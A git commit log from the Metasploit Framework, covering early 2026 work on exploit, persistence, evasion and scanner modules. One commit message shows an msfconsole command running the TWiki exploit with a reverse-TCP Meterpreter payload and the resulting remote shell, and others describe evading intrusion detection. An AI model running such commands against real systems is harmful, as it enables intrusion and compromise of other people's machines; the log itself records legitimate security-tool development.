adfoster-r7
88216de58b
Merge pull request #21044 from adfoster-r7/fix-nessus-service-import-crash
...
Fix nessus service import crash
2026-03-02 20:45:09 +00:00
jenkins-metasploit
ffceb5b777
automatic module_metadata_base.json update
2026-03-02 20:08:10 +00:00
Brendan
9664ab5191
Merge pull request #20946 from g0tmi1k/twiki_history
...
twiki_history: Add revision+page options & Fetch payload support
2026-03-02 13:58:44 -06:00
adfoster-r7
f1cbb90194
Fix nessus service import crash
2026-03-02 19:43:36 +00:00
jenkins-metasploit
32e2ac84bc
automatic module_metadata_base.json update
2026-03-02 16:29:05 +00:00
adfoster-r7
6ad9735889
Merge pull request #20987 from sjanusz-r7/ldap-sessions-working-for-more-modules
...
LDAP sessions working for Kerberoast and AS-REP modules
2026-03-02 16:19:29 +00:00
sjanusz-r7
ccc8367db5
Working Kerberoast and AS-REP modules with LDAP sessions
2026-03-02 15:33:36 +00:00
jenkins-metasploit
449b072f77
automatic module_metadata_base.json update
2026-03-02 15:28:31 +00:00
cgranleese-r7
9da70e511f
Merge pull request #21042 from adfoster-r7/fix-broken-module-url-references
...
Fix broken module url references
2026-03-02 15:19:01 +00:00
adfoster-r7
7545328be1
Linting
2026-03-02 15:02:56 +00:00
adfoster-r7
1a4ae7bfa3
Fix broken module url references
2026-03-02 14:35:48 +00:00
jenkins-metasploit
b06d57d155
automatic module_metadata_base.json update
2026-03-02 10:29:55 +00:00
Diego Ledda
6f84c83135
Merge pull request #21000 from Chocapikk/add-modules-majordomo-rce
...
Add three MajorDoMo unauthenticated RCE modules
2026-03-02 05:20:22 -05:00
Valentin Lobstein
615ca34e29
Fix: Remove explicit timeouts from send_request_cgi calls
2026-02-27 14:42:00 +01:00
Valentin Lobstein
6923badeac
Fix: Use background thread for cycle.php bootstrap instead of timeout
2026-02-27 14:34:24 +01:00
Valentin Lobstein
76d103e483
Fix: Bootstrap cycle tables and update lab documentation
...
Add cycle.php bootstrap request in cmd_injection module to create
missing MEMORY tables before starting the cycle_execs.php worker.
Update all three module docs with curl in Dockerfile, Docker gateway
instructions, Options sections, and verified scenario outputs.
2026-02-27 14:33:04 +01:00
Christophe De La Fuente
e60f77af99
Merge pull request #20830 from SilentSobs/fix-filestat-non-gnu
...
Fix FileStat stat parsing on non-GNU systems
2026-02-27 10:53:51 +01:00
Christophe De La Fuente
6a20b24d9c
Land #20740 , Separate SSL and SRVSSL options for client and server connections
2026-02-26 18:11:02 +01:00
Valentin Lobstein
44806b805f
Fix: Add http_server_ssl alias to resolve HttpClient/HttpServer mixin conflict
2026-02-26 17:23:39 +01:00
Valentin Lobstein
f2856c28b3
Update lib/msf/core/exploit/remote/socket_server.rb
...
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com >
2026-02-26 17:21:17 +01:00
Valentin Lobstein
3720803cdc
Update lib/msf/core/exploit/remote/http_server.rb
...
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com >
2026-02-26 17:21:03 +01:00
Valentin Lobstein
a26036ca7b
Update lib/msf/core/exploit/remote/http_server.rb
...
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com >
2026-02-26 17:20:37 +01:00
Valentin Lobstein
402ed5d50b
Docs: Clarify 41086aaa is a pinned vulnerable commit on alpha branch
2026-02-26 17:18:22 +01:00
jenkins-metasploit
8475757bcb
Bump version of framework to 6.4.117
2026-02-26 15:41:15 +00:00
msutovsky-r7
7e937b3d5a
Land #21010 , adds reporting the service to Gitlab mixin
...
Update Gitlab mixin logs
2026-02-26 16:14:35 +01:00
jenkins-metasploit
02c421c6a4
automatic module_metadata_base.json update
2026-02-26 14:21:19 +00:00
Diego Ledda
0d259baf5e
Merge pull request #20964 from litemars/add_Linux_evasion_module-rc4_packer_arm64
...
adding RC4 packer arm64, rc4 decrypt routine and sleep evasion routine
2026-02-26 09:11:39 -05:00
g0t mi1k
fd1d10ec28
twiki_history: Drop MeterpreterTryToFork & fail_with
2026-02-26 09:27:53 +00:00
g0t mi1k
0b1687b5d5
twiki_history: Add Linux fetch payload support
...
Fetch over CmdStager
- - -
Without MeterpreterTryToFork:
$ msfconsole -q -x 'set VERBOSE true; setg RHOSTS 10.0.0.10; setg LHOST tap0; use unix/webapp/twiki_history; set payload cmd/linux/http/x86/meterpreter/reverse_tcp; run'
[...]
[*] Sending stage (1062760 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.10:40453) at 2026-02-19 19:30:07 +0000
[*] Payload sent
[-] Exploit aborted due to failure: unknown: Error sending exploit request
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/twiki_history) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 5042 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
2026-02-26 07:12:43 +00:00
g0t mi1k
a22698205e
twiki_history: Add send_request() function
...
This is based on MR feedback
2026-02-26 07:12:43 +00:00
g0t mi1k
b393381296
twiki_history: Var consistencies
...
Sorry, not sorry
2026-02-26 07:12:42 +00:00
g0t mi1k
3adcfb8825
twiki_history: Improve error handing
2026-02-26 07:12:42 +00:00
g0t mi1k
4530fb3d13
twiki_history: Be more verbose
2026-02-26 07:12:42 +00:00
g0t mi1k
97668a0f0f
twiki_history: Add TWIKI_PAGE
...
It can be any twiki page
2026-02-26 07:12:42 +00:00
g0t mi1k
cffe0804ab
twiki_history: Consistency with exploit & check
2026-02-26 07:12:42 +00:00
g0t mi1k
6177ba25fa
twiki_history: Add versions to description
...
REF: https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev
2026-02-26 07:12:42 +00:00
g0t mi1k
bad9f29265
twiki_history: Add TWIKI_REVISION
...
Cannot leave it to chance, otherwise you may get HTTP 404
2026-02-26 07:12:42 +00:00
litemars
2dc807a2ce
Merge pull request #1 from dledda-r7/collab/feat/aarch64-rc4-packer
...
chore: moved aarch64 rc4 packer to arch specific folder
2026-02-25 18:10:52 +01:00
jenkins-metasploit
4742ea32f0
automatic module_metadata_base.json update
2026-02-25 16:15:54 +00:00
msutovsky-r7
ccce3a7dca
Land #20951 , moves default payload into more consistent default options
...
Moves default payload into default options in Remote for Mac module
2026-02-25 17:06:30 +01:00
msutovsky-r7
45c058d6f1
Land #21005 , adds gnu inetutils auth bypass module against a Synology NAS to documentation
...
add dsm target exploitation to gnu telnetd docs
2026-02-25 16:49:30 +01:00
dledda-r7
f6c980b5fd
chore: moved aarch64 rc4 packer to arch specific folder
2026-02-25 09:56:38 -05:00
Martin Sutovsky
0e60332411
Minor code changes
2026-02-25 14:46:34 +01:00
jenkins-metasploit
24236f99da
automatic module_metadata_base.json update
2026-02-25 13:28:24 +00:00
msutovsky-r7
fae76b2961
Land #20978 , adds module BeyondTrust unauth command injection (CVE-2026-1731)
...
Add CVE-2026-1731 support and modernize targets for BeyondTrust PRA/R…
2026-02-25 14:18:59 +01:00
Martin Sutovsky
0c12becfcf
Separates modules
2026-02-25 13:56:13 +01:00
Martin Sutovsky
63c7bd4958
Temp rollback
2026-02-25 13:54:20 +01:00
Jonah Burgess
8288cb4713
Merge pull request #1 from msutovsky-r7/collab/exploit/beyondtrust/cve-2026-1731
...
Moves the module for CVE-2026-1731 into separate module
2026-02-25 12:32:36 +00:00
jenkins-metasploit
09c2d4c610
automatic module_metadata_base.json update
2026-02-25 12:16:21 +00:00
msutovsky-r7
7dcc036b6d
Land #21006 , adds module for Ollama path traversal RCE (CVE-2024-37032)
...
Add Ollama path traversal RCE module (CVE-2024-37032)
2026-02-25 13:06:09 +01:00
msutovsky-r7
c5303e2ac1
Apply suggestion from @msutovsky-r7
2026-02-25 12:54:17 +01:00
msutovsky-r7
002daf8d7d
Merge branch 'beyondtrust-rce-2026' into collab/exploit/beyondtrust/cve-2026-1731
2026-02-25 12:53:37 +01:00
Jonah Burgess
e77b1c00c6
Add CVE-2026-1731 support and modernize targets for BeyondTrust PRA/RS RCE
2026-02-25 10:12:23 +01:00
Valentin Lobstein
fd92207119
Fix BeyondTrust exploit failing on older instances (22.x)
...
The /get_mech_list?version=3 endpoint returns HTTP 500 on older
BeyondTrust versions that do not support the JSON API. Add a
fallback to version=2 which returns semicolon-separated key=value
pairs (e.g. "company=sewtest;product=ingredi").
Also remove the "Thank you for using BeyondTrust" check in the
BRDF validation, as PRA instances do not contain this string,
causing the check method to incorrectly report Unknown for PRA
targets.
2026-02-25 10:12:21 +01:00
Jonah Burgess
4f2eafda09
Changed error wording to remove patch specifics and loosen wording to 'may indicate' as there could be other reasons for the websocket exiting unexpectedly, e.g. using the cmd/unix/generic payload results in the error, even when target is vulnerable and the exploit succeeds
2026-02-25 10:11:18 +01:00
Jonah Burgess
0b78ab319e
improved version checking (i think)
2026-02-25 10:11:18 +01:00
Jonah Burgess
b43b204060
Add CVE-2026-1731 support and modernize targets for BeyondTrust PRA/RS RCE
2026-02-25 10:11:15 +01:00
Valentin Lobstein
70dd190bc7
Fix: Inline shellcode via asm db instead of mmap RWX
...
Use Metasm's asm("db ...") to embed shellcode directly in .text section
which is executable by default. Removes mmap/memcpy/mprotect entirely,
avoiding RWX or W^X allocations that IDS may flag.
Parent process uses _exit(0) instead of return since the inlined
shellcode bytes follow the setsid() call in the instruction stream.
Co-Authored-By: jvoisin <325724+jvoisin@users.noreply.github.com >
2026-02-24 23:32:05 +01:00
Valentin Lobstein
d6d9180b7c
Fix: Clarify why fork+setsid is in the constructor
...
PrependFork operates at shellcode level, but fork must happen in the
.so constructor so the runner process returns immediately and is not
blocked by the payload execution.
Co-Authored-By: jvoisin <325724+jvoisin@users.noreply.github.com >
2026-02-24 23:29:25 +01:00
Valentin Lobstein
4031d7d950
Fix: Randomize chat trigger message content
...
Co-Authored-By: jvoisin <325724+jvoisin@users.noreply.github.com >
2026-02-24 23:29:13 +01:00
Spencer McIntyre
f78941ce94
Merge pull request #20990 from jheysel-r7/doc/gsoc-ai-usage-policy
...
Add AI Usage Policy to GSoC Ideas Page
2026-02-24 16:03:18 -05:00
msutovsky-r7
12e21e4c66
Fixes documentation
2026-02-24 12:23:26 -05:00
Valentin Lobstein
29a02274cf
Refactor: Remove redundant Platform/Arch from single target
2026-02-24 17:54:28 +01:00
Valentin Lobstein
5aeff61b26
Fix: Address PR review feedback for Ollama RCE module
...
Co-Authored-By: msutovsky-r7 <190406428+msutovsky-r7@users.noreply.github.com >
2026-02-24 17:51:23 +01:00
Valentin Lobstein
33d24cc85b
Update modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-24 17:47:51 +01:00
Ramesh
b6d1b7cae6
Fix FileStat stat parsing on non-GNU systems
2026-02-24 21:41:44 +05:30
jenkins-metasploit
a9475342c7
automatic module_metadata_base.json update
2026-02-24 15:26:23 +00:00
msutovsky-r7
51af9d0ff1
Adds documentation
2026-02-24 10:25:49 -05:00
Martin Sutovsky
98b3357e2a
Adds beyondtrust lib, moves functionality into library, shares those functions to two modules
2026-02-24 16:16:05 +01:00
Brendan
1e7b0083f7
Merge pull request #20952 from g0tmi1k/unreal_ircd_3281_backdoor
...
Unreal_ircd_3281_backdoor: Add checks & Targets
2026-02-24 09:13:52 -06:00
jenkins-metasploit
12032a3ff8
automatic module_metadata_base.json update
2026-02-24 15:01:18 +00:00
Brendan
1ddee63f05
Merge pull request #20983 from sfewer-r7/0day-grandstream
...
Add exploit (CVE-2026-2329) and auxiliary modules for the Grandstream GXP1600 series
2026-02-24 08:50:42 -06:00
Martin Sutovsky
c390260291
Rubocopes
2026-02-24 13:12:37 +01:00
jenkins-metasploit
5eed30d88c
automatic module_metadata_base.json update
2026-02-24 09:50:52 +00:00
Diego Ledda
1e4c184512
Merge pull request #20988 from adfoster-r7/add-solarwinds-srvhost-defaults
...
Add solarwinds srvhost defaults
2026-02-24 04:41:23 -05:00
Jonah Burgess
338804f028
Changed error wording to remove patch specifics and loosen wording to 'may indicate' as there could be other reasons for the websocket exiting unexpectedly, e.g. using the cmd/unix/generic payload results in the error, even when target is vulnerable and the exploit succeeds
2026-02-24 09:47:49 +01:00
Jonah Burgess
fc3a6cd0fe
improved version checking (i think)
2026-02-24 09:47:48 +01:00
Jonah Burgess
e0bc7c4533
Add CVE-2026-1731 support and modernize targets for BeyondTrust PRA/RS RCE
2026-02-24 09:47:45 +01:00
jenkins-metasploit
6a3d346746
automatic module_metadata_base.json update
2026-02-24 07:12:14 +00:00
msutovsky-r7
62a466cbed
Land #20819 , adds WSL startup folder persistence module
...
wsl startup folder persistence
2026-02-24 07:59:11 +01:00
Jack Heysel
68a7ae887b
Add AI Usage Policy to GSoC Ideas Page
...
Markdown fix
Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
Apply suggestion from @jheysel-r7
Apply suggestion from @jheysel-r7
2026-02-23 17:10:18 -08:00
Nayeraneru
ae24f73a73
more simplification for gitlab_version function
2026-02-24 02:42:10 +02:00
Nayera
8df17c6c50
Simplifying version handling in GitLab exploit module
2026-02-24 02:26:14 +02:00
Nayera
dd6a2f97e9
Apply suggestion from @msutovsky-r7
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-24 02:19:32 +02:00
h00die
ae65d5d9dc
linux wsl startup cleanup now with windows path
2026-02-23 18:29:22 -05:00
jenkins-metasploit
8a8dd7b3c1
automatic module_metadata_base.json update
2026-02-23 16:19:57 +00:00
Simon Janusz
dc38f6a9e5
Merge pull request #21012 from adfoster-r7/improve-graphql-introspection-detection-scanner
...
Improve graphql introspection detection scanner
2026-02-23 16:06:10 +00:00
dwelch-r7
c1caf8ae33
Merge pull request #21011 from adfoster-r7/add-support-for-printing-module-name-prefix
...
Add support for printing module name prefix
2026-02-23 16:04:54 +00:00
dwelch-r7
14e06f54a9
Merge pull request #21014 from adfoster-r7/fix-crash-when-running-ldap-esc-vulnerable-cert-finder
...
Fix crash when running ldap esc vulnerable cert finder
2026-02-23 16:00:19 +00:00
sfewer-r7
1f5ad66248
comment gen_buffer to explain why this is needed
2026-02-23 13:04:42 +00:00
sfewer-r7
54f5b88baa
clarify the offsets used in patch_offset2cmd
2026-02-23 12:39:37 +00:00
sfewer-r7
2c807a6d95
clarify the initial valud in our rop buffer and the function epilogue that reads them
2026-02-23 12:39:10 +00:00
adfoster-r7
03f28ebd7c
Improve graphql introspection detection scanner
2026-02-23 12:02:30 +00:00
sfewer-r7
4568a8d12f
SIP proxt start action will now fail_with if it fails to write the origional config before making any changes
2026-02-23 11:30:06 +00:00
sfewer-r7
8519bffeff
add a Check message for this and change from Safe to Unknown which is more accurate
2026-02-23 11:28:53 +00:00
sfewer-r7
6d8f43ac9d
fix two typos
2026-02-23 11:27:45 +00:00
adfoster-r7
f00c5b244b
Fix crash when running ldap esc vulnerable cert finder
2026-02-23 11:26:44 +00:00
adfoster-r7
70c1abfa27
Add support for printing module name prefix
2026-02-23 10:30:54 +00:00
Nayeraneru
a8dcc9616c
update gitlab mixin logs
2026-02-23 05:40:59 +02:00
h00die
ece2374532
target user for wsl_startup_folder
2026-02-21 21:04:40 -05:00
Valentin Lobstein
cab7bf064e
Fix: Add email to Sagi Tzadik credit
2026-02-21 17:06:42 +01:00
Valentin Lobstein
22fb85f648
Fix: Correct vulnerability discovery credit to Sagi Tzadik (Wiz Research)
2026-02-21 17:05:58 +01:00
Valentin Lobstein
b17d227d28
Feat: Add Ollama path traversal RCE module (CVE-2024-37032)
2026-02-21 16:52:43 +01:00
h00die
a24f53f2b6
add dsm exploitation to telnetd docs
2026-02-21 10:27:47 -05:00
Valentin Lobstein
fc9b342a2f
Fix: Separate SSL and SRVSSL using datastore fallback for backwards compatibility
...
Add SRVSSL option with fallbacks: ['SSL'] so modules that use both
HttpClient and HttpServer can control server SSL independently from
client SSL. Old scripts that set SSL continue to work via the fallback.
2026-02-21 08:46:57 +01:00
Valentin Lobstein
05c12bb033
Feat: Add three MajorDoMo unauthenticated RCE modules
...
- CVE-2026-27174: Console eval RCE via missing exit after redirect
- CVE-2026-27175: Command injection via rc/index.php + cycle_execs race condition
- CVE-2026-27180: Supply chain RCE via update URL poisoning in saverestore module
All three modules include documentation with Docker lab setup instructions.
2026-02-21 08:34:31 +01:00
jenkins-metasploit
c249939bcd
automatic module_metadata_base.json update
2026-02-21 00:56:01 +00:00
Brendan
d2ed326b16
Merge pull request #20950 from g0tmi1k/vsftpd_234_backdoor
...
vsftpd_234_backdoor: Add check & targets
2026-02-20 18:46:34 -06:00
Brendan
1f547f19fb
Merge pull request #20832 from DataExplorerX/doc-linux-samba-module
...
Add documentation for linux/samba/chain_reply module (CVE-2004-0883)
2026-02-20 18:12:05 -06:00
jenkins-metasploit
31c5125a86
automatic module_metadata_base.json update
2026-02-20 23:47:59 +00:00
Brendan
7f8b18d7dc
Update documentation/modules/exploit/linux/samba/chain_reply.md
2026-02-20 17:45:14 -06:00
Brendan
fcb41a2275
Update documentation/modules/exploit/linux/samba/chain_reply.md
...
Update documentation to point to a specific wayback machine page since the original does not exist, and a few of the wayback machine links are also broken.
2026-02-20 17:42:34 -06:00
Brendan
cf497a8d6e
Merge pull request #20938 from Chocapikk/fix-beyondtrust-mech-list-fallback
...
Fix BeyondTrust PRA/RS exploit failing on older instances
2026-02-20 17:38:40 -06:00
adfoster-r7
2c7348ec50
Add solarwinds srvhost defaults
2026-02-20 18:23:41 +00:00
adfoster-r7
c9a26319b0
Merge pull request #20995 from rapid7/revert-20969-report-more-acunetix-vulns
...
Revert "Report more vulns when importing acunetix XML file"
2026-02-20 18:20:04 +00:00
Simon Janusz
e6354f3452
Revert "Report more vulns when importing acunetix XML file"
2026-02-20 17:32:42 +00:00
litemars
ecbe73609b
updating the sleep module and the rc4_decrypter for aarch64
2026-02-20 17:19:50 +01:00
dwelch-r7
671ecf8f8f
Merge pull request #20993 from adfoster-r7/remove-encoding-issue-in-source-file
...
Remove encoding issue in source file
2026-02-20 13:56:38 +00:00
jenkins-metasploit
018a2d3fdd
automatic module_metadata_base.json update
2026-02-20 13:37:13 +00:00
adfoster-r7
37fc0383c6
Remove encoding issue in source file
2026-02-20 13:33:50 +00:00
adfoster-r7
250ef3b2d8
Merge pull request #20992 from adfoster-r7/add-check-method-alias-to-ms17-010-scanner-module
...
Add check method to ms17-010 scanner module
2026-02-20 13:27:32 +00:00
adfoster-r7
577f6f662f
Add check method to ms17-010 scanner module
2026-02-20 13:12:39 +00:00
msutovsky-r7
ea51c45bf5
Land #20859 , breaks up utils/exe.rb into separated files
...
utils/exe.rb break-up
2026-02-20 12:41:15 +01:00
jenkins-metasploit
667db874f5
automatic module_metadata_base.json update
2026-02-20 09:56:41 +00:00
msutovsky-r7
f2262a84cc
Land #20841 , adds persistence module for Windows feature active setup
...
active setup persistence
2026-02-20 10:46:45 +01:00
g0t mi1k
f65dca14c7
unreal_ircd: Clean up
...
This is based on MR feedback
2026-02-20 08:59:32 +00:00
g0t mi1k
63bead7de0
unreal_ircd: Drop loop for wfsDelay
2026-02-20 08:59:32 +00:00
g0t mi1k
3a8c6abd39
unreal_ircd: Add Linux fetch payload support
...
Fetch over CmdStager (& multiple targets)
2026-02-20 08:57:57 +00:00
g0t mi1k
3200b6f9f9
unreal_ircd: Reconfig default target
2026-02-20 08:55:18 +00:00
Martin Sutovsky
993017d045
Rubocopes
2026-02-20 09:51:10 +01:00
g0t mi1k
bc81140d4f
vsftpd_234_backdoor: Add Linux fetch payload support
...
Fetch over CmdStager (& multiple targets)
2026-02-20 08:45:15 +00:00
g0t mi1k
53ac84be03
vsftpd_234_backdoor: Reconfig default target
2026-02-20 08:45:11 +00:00
g0t mi1k
5c29007f85
vsftpd_234_backdoor: Add comments
2026-02-20 08:17:41 +00:00
g0t mi1k
dc2ec5ef39
vsftpd_234_backdoor: Be more verbose
2026-02-20 08:17:37 +00:00
g0t mi1k
7161c2cbe6
vsftpd_234_backdoor: Checks & raises for exploit
2026-02-20 08:14:11 +00:00
g0t mi1k
037826daf5
vsftpd_234_backdoor: Add check
2026-02-20 08:10:45 +00:00
h00die
855b436235
Update modules/exploits/windows/persistence/registry_active_setup.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-19 15:46:33 -05:00
litemars
25da41e9f3
Apply suggestion from @msutovsky-r7
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-19 17:14:29 +01:00
jenkins-metasploit
322df15b65
Bump version of framework to 6.4.116
2026-02-19 16:10:44 +00:00
Diego Ledda
247449ad8e
chore: rubocop pass
2026-02-19 14:46:57 +01:00
Diego Ledda
e6dc725a07
Apply suggestion from @dledda-r7
2026-02-19 14:38:34 +01:00
jenkins-metasploit
83f789d153
automatic module_metadata_base.json update
2026-02-19 09:16:01 +00:00
msutovsky-r7
b6f37bef11
Land #20976 , adds module for StoryChief WP plugin (CVE-2025-7441)
...
Add StoryChief WordPress 1.0.42 unauthenticated RCE module (CVE-2025-7441)
2026-02-19 10:06:25 +01:00
jenkins-metasploit
0e7613ea1e
automatic module_metadata_base.json update
2026-02-18 16:07:53 +00:00
Diego Ledda
c6f7d03d03
Merge pull request #20919 from h00die/emacs
...
emacs extension persistence
2026-02-18 10:58:13 -05:00
Nayeraneru
a48129b640
Updated doc after checking msftidy_docs
2026-02-18 16:58:51 +02:00
Diego Ledda
f369cac6d7
Apply suggestion from @jvoisin
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-02-18 12:24:09 +01:00
jenkins-metasploit
3e34388a82
automatic module_metadata_base.json update
2026-02-18 11:14:43 +00:00
Diego Ledda
8af82dc7eb
Merge pull request #20844 from 6a6f656c/userinit
...
Windows Userinit persistence
2026-02-18 06:05:04 -05:00
Diego Ledda
9f301549e8
Update documentation/modules/exploit/windows/persistence/registry_userinit.md
...
Co-authored-by: h00die <h00die@users.noreply.github.com >
2026-02-18 11:46:11 +01:00
Nayeraneru
9c7347d6b5
Trriged failed_with and Removed unnecessary line
2026-02-18 02:20:36 +02:00
sfewer-r7
08efa9cd16
add in the Grandstream modules
2026-02-17 22:33:46 +00:00
Nayera
faca50288d
Enhance CheckCode::Safe message for clarity
...
Update CheckCode::Safe to include a detailed message.
2026-02-18 00:14:18 +02:00
h00die
1c6fb0d11d
fix compatibility with session.sys
2026-02-17 16:37:05 -05:00
litemars
438e3a23b4
Update lib/msf/core/payload/linux/aarch64/sleep_evasion.rb
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2026-02-17 22:09:36 +01:00
h00die
aacdcfc3a4
Update lib/msf/core/post/linux/wsl.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-02-17 16:00:59 -05:00
Diego Ledda
c24c58709d
Apply suggestion from @dledda-r7
2026-02-17 14:09:02 +01:00
6a6f656c
236fb33b6b
Apply suggestion from @dledda-r7
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2026-02-17 07:17:42 -05:00
6a6f656c
ab30bd15f0
Apply suggestion from @dledda-r7
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2026-02-17 07:17:17 -05:00
6a6f656c
7e50106cff
Apply suggestion from @dledda-r7
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2026-02-17 07:17:03 -05:00
jenkins-metasploit
c0f73038f3
automatic module_metadata_base.json update
2026-02-16 15:16:31 +00:00
Diego Ledda
81e54d42e4
Merge pull request #20856 from msutovsky-r7/exploit/cve-2026-21858
...
Adds module for Ni8mare (CVE-2026-21858)
2026-02-16 10:06:14 -05:00
Diego Ledda
bc9c62a74b
Update modules/auxiliary/gather/ni8mare_cve_2026_21858.rb
2026-02-16 15:48:02 +01:00
Martin Sutovsky
fb7c6a8231
Adds rescue block for JSON parsing, adds check for incorrect username and empty files
2026-02-16 14:58:40 +01:00
jenkins-metasploit
5ab3f0e7cd
automatic module_metadata_base.json update
2026-02-16 12:54:44 +00:00
dwelch-r7
c4ca44e4f9
Merge pull request #20972 from adfoster-r7/fix-false-positives-on-lg-simple-editor-check-methods
...
Fix false positives on lg simple editor check methods
2026-02-16 12:45:20 +00:00
adfoster-r7
65d37019ad
Fix false positives on lg simple editor check methods
2026-02-16 10:51:28 +00:00
jenkins-metasploit
a29b2ccb92
automatic module_metadata_base.json update
2026-02-16 07:33:33 +00:00
msutovsky-r7
7a0845dc6c
Land #20947 , adds module for ChurchCRM unauthenticated RCE (CVE-2025-62521)
...
Adds exploit module for ChurchCRM unauth RCE (CVE-2025-62521)
2026-02-16 08:20:15 +01:00
Nayeraneru
8ee79fa524
Add StoryChief WordPress 1.0.42 unauthenticated RCE module
2026-02-16 00:44:20 +02:00
adfoster-r7
7251d88419
Merge pull request #20969 from sjanusz-r7/report-more-acunetix-vulns
...
Report more vulns when importing acunetix XML file
2026-02-13 15:26:40 +00:00
Simon Janusz
8b58c62375
Merge pull request #20807 from webbsssss/fix/acunetix-vulnerability-import
...
Fix #17932 : Allow Acunetix vulnerabilities to be imported without complete web_page data
2026-02-13 15:25:54 +00:00
sjanusz-r7
f741d568b4
Report more vulns when importing acunetix XML file
2026-02-13 14:55:13 +00:00
sjanusz-r7
f111ccc5ec
Add working Acunetix import tests
2026-02-13 14:50:18 +00:00
jenkins-metasploit
473e801148
Bump version of framework to 6.4.115
2026-02-13 14:27:51 +00:00
LucasCsmt
a39ed2beac
Removing default version in the Dockerfile
2026-02-13 15:14:41 +01:00
LucasCsmt
bbfe139e7f
Merge branch 'master' into multi/http/churchcrm_unauth_rce
2026-02-13 15:01:52 +01:00
LucasCsmt
2b6d95d3c9
Adding a scenario in the documentation
...
The documentation for PHP Fetch have been added. The scenario have been
redone in order to track the last changes.
2026-02-13 15:01:17 +01:00
LucasCsmt
b1758de52b
Adding version control on the check method
2026-02-13 14:42:07 +01:00
LucasCsmt
d90b3fdc89
Resolving compatibility issues
...
In the last version of ChurchCRM (6.8.0), in order to be correct, the
url in the post request needed to end with a '/'. This issues is now
fixed and the exploit work again on the 6.8.0 version.
2026-02-13 14:36:52 +01:00
LucasCsmt
381972efd2
Changing the documentation
...
According to the recent change, i've changed the documentation and the
scenario outputs.
2026-02-13 14:05:29 +01:00
LucasCsmt
efcd0411e4
Adding a code to the check method
2026-02-13 14:04:40 +01:00
LucasCsmt
fe302d30e1
Refactoring the code
2026-02-13 13:43:00 +01:00
LucasCsmt
dcf4221cff
Adding support for fetch payload
2026-02-13 13:23:40 +01:00
jenkins-metasploit
2d37b73a5b
automatic module_metadata_base.json update
2026-02-13 12:01:15 +00:00
Diego Ledda
a4ec3cd40d
Merge pull request #20917 from sfewer-r7/solarwinds-webhelpdesk-rce
...
Add exploit module for SolarWinds Web Help Desk (CVE-2025-40536 + CVE-2025-40551)
2026-02-13 06:51:42 -05:00
LucasCsmt
3e98c7a045
Changing code according to Rubocop
2026-02-13 11:35:11 +01:00
LucasCsmt
06eba2245e
Creating a check method
2026-02-13 11:34:46 +01:00
litemars
0fc864f23d
Update lib/msf/core/payload/linux/aarch64/rc4_decrypter.rb
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2026-02-13 11:27:46 +01:00
jenkins-metasploit
66e9891857
automatic module_metadata_base.json update
2026-02-13 10:07:02 +00:00
msutovsky-r7
7e03a89304
Land #20798 , adds module for FreeBSD rtsold/rtsol command injection (CVE-2025-14558)
...
Add module for rtsold/rtsol DNSSL Command Injection (CVE-2025-14558)
2026-02-13 10:57:03 +01:00
LucasCsmt
867624cad3
Removing default option
...
The default option has been remove in favor of metasploit's default
selection.
2026-02-13 10:42:42 +01:00
LucasCsmt
dc2e73b44a
Adding a failwith if the injection fail
2026-02-13 09:57:39 +01:00
LucasCsmt
aacbd1d180
Changing PHP injection logic
...
The PHP payload is injected directly into the PHP code injection. The
cleanup method has been remove in favor of a InitialAutoRunScript that
clear the config file.
2026-02-13 09:52:48 +01:00
LucasCsmt
78f4b8f97d
Merge branch 'master' into multi/http/churchcrm_unauth_rce
2026-02-13 08:50:23 +01:00
jenkins-metasploit
85402611de
automatic module_metadata_base.json update
2026-02-12 21:32:39 +00:00
Brendan
7a3f20a895
Merge pull request #20943 from g0tmi1k/twiki_maketext
...
twiki_maketext: Add versions to description
2026-02-12 15:21:11 -06:00
jenkins-metasploit
9bd71faf18
automatic module_metadata_base.json update
2026-02-12 20:13:35 +00:00
Spencer McIntyre
35b52df28a
Merge pull request #20849 from haicenhacks/haicen_xerte
...
Add three modules for exploiting Xerte Online Toolkits
2026-02-12 15:01:42 -05:00
Spencer McIntyre
41414b896b
Tweak whitespacing in the docs for the renderer
2026-02-12 14:43:47 -05:00
JohannesLks
12b7a440fa
force manual interface selection
2026-02-12 13:45:06 -05:00
haicen
803e6d3991
adds auto-check and fixes print statements
2026-02-12 12:58:01 -05:00
haicen
0af126cba9
adds ability to create a project if none exist.
2026-02-12 12:50:00 -05:00
haicen
930bb4fecd
fixes error in .htaccess policy generation
2026-02-12 12:43:16 -05:00
haicen
b4f26d0329
conform to uri normalization pattern
2026-02-12 12:42:33 -05:00
haicen
f25fab7c40
fixes error in .htaccess policy generation
2026-02-12 12:41:28 -05:00
haicen
7204c64b6b
Improves documentation
2026-02-12 12:05:29 -05:00
litemars
146b5dd3fd
adding RC4 packer arm64, rc4 decrypt routine and sleep evasion routine
2026-02-12 16:24:54 +01:00
haicen
66aad682d6
changes the .htaccess payload to use heredoc
2026-02-11 18:30:20 -05:00
haicen
66139795e5
Fixes problems with module documentation
2026-02-11 18:20:06 -05:00
haicen
208dc3489c
fixes linting errors
2026-02-11 17:55:21 -05:00
jenkins-metasploit
965d181cee
automatic module_metadata_base.json update
